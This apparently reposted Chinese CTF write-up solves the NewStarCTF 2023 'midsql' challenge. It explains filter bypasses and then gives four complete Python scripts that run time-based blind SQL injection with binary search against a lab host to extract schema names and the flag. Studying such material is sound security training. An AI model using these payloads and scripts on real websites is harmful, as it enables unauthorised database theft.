NewStarCTF2023week4-midsql(利用二分查找实现时间盲注攻击)

news2024/11/29 0:42:48

大致测试一下,发现空格被过滤了

使用内联注释/**/绕过,可行

1'/**/--+

使用%a0替代空格,也可以 

1'%a0--+

再次测试发现等号也被过滤,我们使用 like 代替

(我最开始以为是and被过滤,并没有,如果是and或者or被过滤我们也可以使用 && 和 || 替代)

1'/**/&&1like2/**/--+

 

但是这里尝试了很多都只返回一个页面,没有出现报错页面,因此采用时间盲注,利用sleep函数,制造时间延迟,由回显时间来判断是否报错。

基础知识介绍:

if(判断语句,x,y)如果判断语句正确则输出X,否则输出Y
sleep(n),延迟n秒后回显

常用判断语句: 

if(1=1,1,sleep(3)) // 1=1恒成立,因此会输出1
if(1=2,1,sleep(3)) //1=2不成立,则会执行最后的sleep函数,延迟3秒后回显

当然我们也可以直接使用sleep()函数:

1'&&sleep(5)--+

尝试之后发现这里好像还不能使用--+注释,因此我们换用#注释

1'&&sleep(5)#

观察发现没有延时,说明分号不是闭合符号

尝试数字型

1&&sleep(5)#

出现了很明显的延时现象,证明语句闭合成功 

开始写脚本,先查一下它存在的数据库有哪些

构造payload:

1/**/and/**/if(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{mid},sleep(2),0)#

完整脚本: 

import time
import requests

url = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id='

database_name = ""
for i in range(1, 100):
    left = 32
    right = 128
    mid = (left + right) // 2
    while left < right:
        payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{mid},sleep(2),0)#"
        start_time = time.time()
        response = requests.get(payload).text
        end_time = time.time()
        use_time = end_time - start_time

        if use_time > 2:
            left = mid + 1
        else:
            right = mid
        mid = (left + right) // 2

    print(mid)
    database_name += chr(mid)
    print(database_name)

注意:在payload中一定要用 f 格式化字符串常量,以确保 {} 中的内容(比如{i}、{mid})在程序运行时会被表达式的值代替。

运行结果:

发现存在一个名为 ctf 的数据库

接着我们查该数据库下的所有表

构造payload:

1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like'ctf'),{i},1))>{mid},sleep(2),0)#

完整脚本: 

import time
import requests

url = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id='

database_name = ""
for i in range(1, 100):
    left = 32
    right = 128
    mid = (left + right) // 2
    while left < right:
        payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like'ctf'),{i},1))>{mid},sleep(2),0)#"
        start_time = time.time()
        response = requests.get(payload).text
        end_time = time.time()
        use_time = end_time - start_time

        if use_time > 2:
            left = mid + 1
        else:
            right = mid
        mid = (left + right) // 2

    print(mid)
    database_name += chr(mid)
    print(database_name)

发现只有一个名为 items 的表

尝试获数据库名为 ctf 下表名为 items 的列名信息

(这里不能直接select *)

构造payload:

1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like'ctf'||table_name/**/like'items'),{i},1))>{mid},sleep(2),0)#

 完整脚本:

import time
import requests

url = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id='

database_name = ""
for i in range(1, 100):
    left = 32
    right = 128
    mid = (left + right) // 2
    while left < right:
        payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like'ctf'||table_name/**/like'items'),{i},1))>{mid},sleep(2),0)#"
        start_time = time.time()
        response = requests.get(payload).text
        end_time = time.time()
        use_time = end_time - start_time

        if use_time > 2:
            left = mid + 1
        else:
            right = mid
        mid = (left + right) // 2

    print(mid)
    database_name += chr(mid)
    print(database_name)

发现存在三个列:id,name,price 

由于我们也不知道flag在哪儿,所以查询这三列的具体字段信息

构造payload:

1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/ctf.items),{i},1))>{mid},sleep(2),0)#

注意:这里查询的内容还是需要加上 group_concat(),因为之前我做的一些联合查询有时候不需要加,但是在这里我试了,不行。

顺便介绍一下 group_concat()函数的作用:

group_concat 首先根据 group by 指定的列进行分组,将同一组的列显示出来,并且用分隔符分隔,将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

完整脚本:

import time
import requests

url = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id='

database_name = ""
for i in range(1, 100):
    left = 32
    right = 128
    mid = (left + right) // 2
    while left < right:
        payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/ctf.items),{i},1))>{mid},sleep(2),0)#"
        start_time = time.time()
        response = requests.get(payload).text
        end_time = time.time()
        use_time = end_time - start_time

        if use_time > 2:
            left = mid + 1
        else:
            right = mid
        mid = (left + right) // 2

    print(mid)
    database_name += chr(mid)
    print(database_name)

拿到 flag{217f2b74-cca0-4afb-be0b-2147f666d25e} 

关于脚本的一些解释:

利用二分查找进行时间盲注攻击

  1. payload 是一个包含 SQL 注入攻击的 URL。这个 URL 是构建成这样的:url 是你的目标网站的地址,后面附加一个 SQL 注入语句。

  2. time.time() 用于记录开始时间,然后发起 HTTP GET 请求,发送 payload 到目标网站。这个请求会执行 SQL 注入攻击。

  3. 发起请求后,再次使用 time.time() 记录结束时间,然后计算 use_time,即请求的响应时间。

  4. 接下来,通过比较 use_time 是否大于 2 秒,来判断是否成功执行 SQL 注入。如果 use_time 大于 2 秒,说明条件成立,表示当前字符的 ASCII 值大于 mid

  5. 如果条件成立,将 left 的值增加 1,否则,将 right 的值减少 1,从而更新 mid 的值。这是二分查找算法的一部分,用于逐字符提取数据库名的字符。

  6. 最后,代码将当前字符(字符的 ASCII 值通过 chr() 函数转换为字符)添加到 database_name 变量中,并打印出 database_name,逐步构建查询到的数据库名。

代码通过不断猜测每个字符的 ASCII 值来构建数据库名,一旦一个字符的 ASCII 值被确定,就继续下一个字符。当然这里的database_name只是一个变量名,我们可以替换成其他的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1145835.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何选择适合企业需求的企业知识库管理软件

随着信息技术的不断发展&#xff0c;知识管理软件在企业中扮演着越来越重要的角色。它们帮助企业有效地组织、存储和共享大量的知识资源&#xff0c;提高团队之间的协作效率&#xff0c;并为决策提供有力支持。那企业该如何才能选到合适的企业知识库管理软件呢&#xff1f; 一、…

Unity之ShaderGraph如何实现科幻空气墙

前言 今天在油管上看到一个空气墙的特效,感觉做的非常好看,今天我们就来实现以下这个科幻风格的空气墙 效果如下所示: 点阵 Dots:ShaderGraph的官方示例中提供的点阵SubGraph节点,如下图所示,需要我们导入示例 空气流动 我们让Dots点阵和SimpleNoise相乘,得到一…

JS加密/解密之逻辑运算符加密进阶篇

前言 ​ 前篇给大家介绍了运算符不为人知的基础知识。他们的各种表达形式&#xff0c;今天我们从这个基础上&#xff0c;继续进一步告诉大家&#xff0c;如何对字符串进行加密处理。还是那句话&#xff0c;技术人不废话&#xff0c;直接晒代码。 示例源代码 // 字符串加密示…

【C++】STL容器——探究不同 [ 迭代器 ] 种类&在STL中的使用方式(15)

前言 大家好吖&#xff0c;欢迎来到 YY 滴C系列 &#xff0c;热烈欢迎&#xff01; 本章主要内容面向接触过C的老铁 主要内容含&#xff1a; 欢迎订阅 YY滴C专栏&#xff01;更多干货持续更新&#xff01;以下是传送门&#xff01; 目录 引言&#xff1a;一.查看STL使用文档时…

redis6.0源码分析:简单动态字符串sds

文章目录 sds简介与特性(面试)sds结构模型数据结构苛刻的数据优化数据结构优化uintX_t对齐填充 sds优势O(1)时间复杂度获取字符串长度二进制安全杜绝缓冲区溢出自动扩容机制——sdsMakeRoomFor方法 内存重分配次数优化 sds最长是多少部分API源码解读创建sds释放sds sds简介与特…

localhost知识

文章目录 一、localhost是什么&#xff1f;二、localhost 在平时用到的地方三、 localhost 与 127.0.01 一、localhost是什么&#xff1f; localhost 是一个特殊的主机名&#xff0c;通常指代本机。它被用来进行本地开发和测试&#xff0c;也常被用作网络配置中的占位符&#…

IOC课程整理-6 Spring IoC 依赖注入

1 依赖注入的模式和类型 模式 类型 2 自动绑定&#xff08;Autowiring&#xff09; 官方定义 “自动装配是Spring框架中一种机制&#xff0c;用于自动解析和满足bean之间的依赖关系。通过自动装配&#xff0c;Spring容器可以根据类型、名称或其他属性来自动连接协作的bean&…

Mac电脑配置Dart编程环境

1.安装Dart SDK 官网地址&#xff1a;https://dart.dev/get-dart $brew tap dart-lang/dart$brew install dart 安装后&#xff0c;用命令检测一下是否安装正常。 $brew info dart 2.VS Code配置Dart环境 1).安装VS Code 官网地址&#xff1a;https://code.visualstudio.c…

删除元素专题

这篇也是凑数的 ... 题目 : LeetCode 27.移除元素 : 27. 移除元素 分析 : 快慢指针 : 定义两个指针slow和fast&#xff0c;初始值都是0。Slow之前的位置都是有效部分&#xff0c;fast表示当前要访问的元素。 这样遍历的时候&#xff0c;fast不断向后移动: 如果nums[fast…

解决MySQL大版本升级导致.Net(C#)程序连接报错问题

数据库版本从MySQL 5.7.21 升级到 MySQL8.0.21 数据升级完成后&#xff0c;直接修改程序的数据库连接配置信息 <connectionStrings> <add name"myConnectionString" connectionString"server192.168.31.200;uidapp;pwdFgTDkn0q!75;databasemail;&q…

【Java 进阶篇】Java Request 获取请求参数的通用方式详解

在Java Web开发中&#xff0c;获取HTTP请求的参数是一项基本任务。请求参数可以包含在URL中&#xff0c;也可以包含在请求体中&#xff0c;例如表单提交时的参数。在Java中&#xff0c;可以使用HttpServletRequest对象来获取HTTP请求的参数。本文将详细解释如何使用Java获取HTT…

基于vue天气数据可视化平台

目 录 摘 要 I ABSTRACT II 目 录 II 第1章 绪论 1 1.1背景及意义 1 1.2 国内外研究概况 1 1.3 研究的内容 1 第2章 相关技术 3 2.1 nodejs简介 4 2.2 express框架介绍 6 2.4 MySQL数据库 4 第3章 系统分析 5 3.1 需求分析 5 3.2 系统可行性分析 5 3.2.1技术可行性&#xff1a;…

070:mapboxGL加载含有shp文件的zip,显示图形

第070个 点击查看专栏目录 本示例是介绍演示如何在vue+mapbox中加载含有shp文件的zip,在地图上显示图形。这里先通过转换生成geojson文件,然后在地图上渲染图形,同时使用fitBounds将数据放置到可视的范围内。 直接复制下面的 vue+mapbox源代码,操作2分钟即可运行实现效果 …

​Vue3响应式原理

目录 手动收集依赖通知更新 effect()&#xff1a;更改数据后执行&#xff0c;更新依赖该数据的数据&#xff08;依赖&#xff09; track&#xff08;&#xff09;收集依赖的effect()放进dep&#xff08;set去重&#xff09; 更新时触发trigger函数通知dep里所有effect()执行…

代码训练营第53天:动态规划part12|leetcode309买卖股票的最佳时期含冷静期|leetcode714买卖股票的最佳时机含手续费

leetcode309&#xff1a;买卖股票的最佳时机含冷冻期 文章讲解&#xff1a;leletcode309 leetcode714&#xff1a;买卖股票的最佳时机含手续费 文章讲解&#xff1a;leetcode714 目录 1&#xff0c;leetcode309 买卖股票的最佳时机含冷冻期 2&#xff0c;leetcode714 买卖股票…

Qt中实现页面切换的两种方式

文章目录 方式一 &#xff1a;使用QStackedWidget讲解代码结构main.cpp完整代码运行结果&#xff1a; 方式二 &#xff1a;代码结构完整代码mainwindow.hnewmainwindow.hmain.cppmainwindow.cppnewmainwindow.cppmainwindow.uinewmainwindow.ui 效果 方式一 &#xff1a;使用QS…

目标检测YOLO实战应用案例100讲-改进YOLOv4的遥感图像目标检测

目录 前言 遥感图像目标检测国内外研究现状 传统遥感图像目标检测算法 深度学习遥感图像目标检测算法 2目标检测相关理论基础 2.1卷积神经网络 2.1.1基础理论 2.1.2卷积神经网络训练参数优化方式 2.2目标检测经典算法 2.2.1 两阶段目标检测算法 2.2.2 单阶段…

python opencv之图像分割、计算面积

以下代码是一个基于K-means聚类算法进行图像分割的实现。通过读取一个彩色图像&#xff0c;将其转化为二维数组形式。然后使用K-means算法对像素点进行聚类&#xff0c;聚类个数为7。根据聚类后的标签值对像素点进行着色&#xff0c;并创建掩膜图像。接着使用形态学开运算和闭运…

071:mapboxGL上传含shp的zip文件,在map上解析显示图形

第071个 点击查看专栏目录 本示例是介绍演示如何在vue+mapbox中上传含有shp文件的zip,在地图上显示图形。这里先通过上传解压解析,转换生成geojson文件,然后在地图上渲染图形。 直接复制下面的 vue+mapbox源代码,操作2分钟即可运行实现效果 文章目录 示例效果所用的zip文…

嵌入式开发

C语言 #include<stdio.h> #include<cstdio> volatile unsigned int TimeOut ; unsigned int cnt 0;//使用volatile变量情景&#xff1a; //1、中断 //2、多线程 //3、寄存器void isr_handle(int a) {cnt;if (cnt > 100){TimeOut 1;cnt 0;printf("cnt %…